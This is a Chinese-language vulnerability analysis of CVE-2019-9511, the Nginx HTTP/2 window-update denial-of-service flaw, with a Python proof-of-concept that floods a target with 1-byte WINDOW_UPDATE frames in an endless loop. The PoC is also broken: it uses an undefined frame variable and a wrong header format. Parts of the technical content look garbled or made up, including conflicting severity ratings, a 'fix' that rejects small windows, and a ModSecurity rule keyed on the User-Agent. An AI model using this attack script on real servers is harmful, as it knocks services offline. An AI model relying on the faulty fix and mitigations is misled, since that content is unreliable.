一、漏洞简介

1.1 漏洞背景

HTTP/2 协议引入了流量控制机制,通过 WINDOW_UPDATE 帧来管理数据流。2019 年,Netflix 安全团队发现多个 HTTP/2 实现在处理窗口更新时存在资源消耗问题。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2019-9511
危害等级 HIGH / 7.5
漏洞类型 漏洞 2: - HTTP/2 窗口更新 CPU 过度使用
披露时间 2019-08-13
影响组件 Nginx 重点安全
  • CVE 编号:CVE-2019-9511
  • 危害等级:中等(Medium)
  • CVSS 评分:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H(7.5)
  • 漏洞类型:资源耗尽(DoS)
  • 潜在影响:导致 CPU 资源过度消耗,服务拒绝

补充核验信息:公开时间:2019-08-13;NVD 评分:7.5(HIGH);CWE:CWE-400。

二、影响范围

2.1 受影响的版本

  • Nginx 1.9.5 - 1.17.2(支持 HTTP/2 的版本)

2.2 不受影响的版本

  • Nginx 1.17.3 及以上
  • Nginx 1.16.1 及以上

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. Nginx 编译时启用了 ngx_http_v2_module 模块(默认不编译)
  2. 配置文件中使用了 listen 443 ssl http2; 指令
  3. 攻击者能够建立 HTTP/2 连接

三、漏洞详情与原理解析

3.1 漏洞触发机制

攻击者通过以下步骤实施攻击: 1. 建立多个 HTTP/2 流(stream) 2. 请求大量数据 3. 通过微小的窗口更新(1 字节)强制服务器以极低效率发送数据 4. 服务器在发送每个字节时都需要处理流控机制,导致 CPU 过度使用

3.2 源码层面的根因分析(结合源码与补丁对比)

漏洞代码位置src/http/v2/ngx_http_v2_filter_module.c

问题根因: HTTP/2 的流量控制在处理微小窗口更新时缺乏优化。当窗口大小被设置为 1 字节时,Nginx 需要为每个字节的数据发送执行完整的流控逻辑,包括: - 检查窗口大小 - 分配内存缓冲区 - 构建 HTTP/2 帧 - 发送数据 - 等待窗口更新

关键代码逻辑

/* 简化的流控逻辑 */
while (data_to_send > 0) {
    if (window_size == 0) {
        wait_for_window_update();  /* 等待窗口更新 */
    }

    send_size = min(window_size, data_to_send);
    send_data(send_size);  /* 发送数据 */
    window_size -= send_size;
}

修复方案: 添加最小窗口大小限制,拒绝过小的窗口更新:

#define NGX_HTTP_V2_MAX_WINDOW  2147483647
#define NGX_HTTP_V2_MIN_WINDOW  65535  /* 最小窗口大小 */

if (window_size < NGX_HTTP_V2_MIN_WINDOW) {
    return NGX_HTTP_V2_ERROR_FLOW_CONTROL;
}

四、漏洞复现(可选)

4.1 环境搭建

# 使用 Docker
FROM nginx:1.17.2
COPY nginx.conf /etc/nginx/nginx.conf

# nginx.conf
# server {
#     listen 443 ssl http2;
#     ssl_certificate /path/to/cert.pem;
#     ssl_certificate_key /path/to/key.pem;
#     ...
# }

4.2 PoC 演示与测试过程

#!/usr/bin/env python3
# CVE-2019-9511 PoC - Window Update Attack
import socket
import ssl
import struct

def send_http2_settings(sock):
    """发送 HTTP/2 SETTINGS 帧"""
    # SETTINGS 帧(空设置)
    frame = b'\x00\x00\x00\x04\x00\x00\x00\x00\x00'
    sock.send(frame)

def send_window_update(sock, stream_id, increment):
    """发送 WINDOW_UPDATE 帧"""
    frame = struct.pack('>I', increment)  # Window Size Increment
    header = struct.pack('>HBL', 4, 0x08, stream_id)  # Length(4), Flags, Stream ID
    sock.send(header + frame)

def attack():
    """执行攻击"""
    context = ssl.create_default_context()
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE

    sock = socket.create_connection(('target-server', 443))
    ssock = context.wrap_socket(sock, server_hostname='target-server')

    # 发送 HTTP/2 连接前奏
    ssock.send(b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n')

    # 发送 SETTINGS
    send_http2_settings(ssock)

    # 创建多个流并请求大数据
    for i in range(100):
        # 创建流(HEADERS 帧)
        headers = b':path: /large-file\r\n:method: GET\r\n'
        # ... 构造完整的 HEADERS 帧
        ssock.send(headers_frame)

    # 发送微小的窗口更新(1 字节)
    while True:
        for i in range(100):
            send_window_update(ssock, i, 1)  # 每次只允许发送 1 字节
        # 这将导致服务器 CPU 过度使用

if __name__ == '__main__':
    attack()

监控 CPU 使用

# 在攻击期间监控 Nginx CPU 使用
top -p $(pgrep nginx)
# 或
pidstat -p $(pgrep nginx) 1

五、修复建议与缓解措施

5.1 官方版本升级建议

# 升级到安全版本
# 对于稳定版分支
yum update nginx  # RHEL/CentOS
apt-get update && apt-get upgrade nginx  # Debian/Ubuntu

# 或从源码编译
wget http://nginx.org/download/nginx-1.17.3.tar.gz
tar -xzf nginx-1.17.3.tar.gz
cd nginx-1.17.3
./configure --with-http_v2_module && make && make upgrade

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

  1. 限制 HTTP/2 并发连接数nginx http { http2_max_concurrent_streams 16; # 降低并发流数 http2_recv_timeout 20s; }

  2. 限制客户端请求速率nginx http { limit_req_zone $binary_remote_addr zone=http2_limit:10m rate=10r/s; limit_req zone=http2_limit burst=20 nodelay; }

  3. 使用 WAF 规则# ModSecurity 规则示例 SecRule REQUEST_HEADERS:User-Agent "@contains http2" \ "id:100001,phase:1,deny,status:429,msg:'HTTP/2 abuse detected'"

  4. 临时禁用 HTTP/2(如果业务允许): nginx server { listen 443 ssl; # 移除 http2 选项 # listen 443 ssl http2; }

六、参考信息 / 参考链接

6.1 官方安全通告

  • Nginx 安全公告:http://mailman.nginx.org/pipermail/nginx-announce/2019/000249.html
  • Netflix 安全公告:https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-002.md

6.2 其他技术参考资料

  • NVD 数据库:https://nvd.nist.gov/vuln/detail/CVE-2019-9511
  • CERT/CC VU#605641:https://kb.cert.org/vuls/id/605641/
  • RFC 7540(HTTP/2):https://tools.ietf.org/html/rfc7540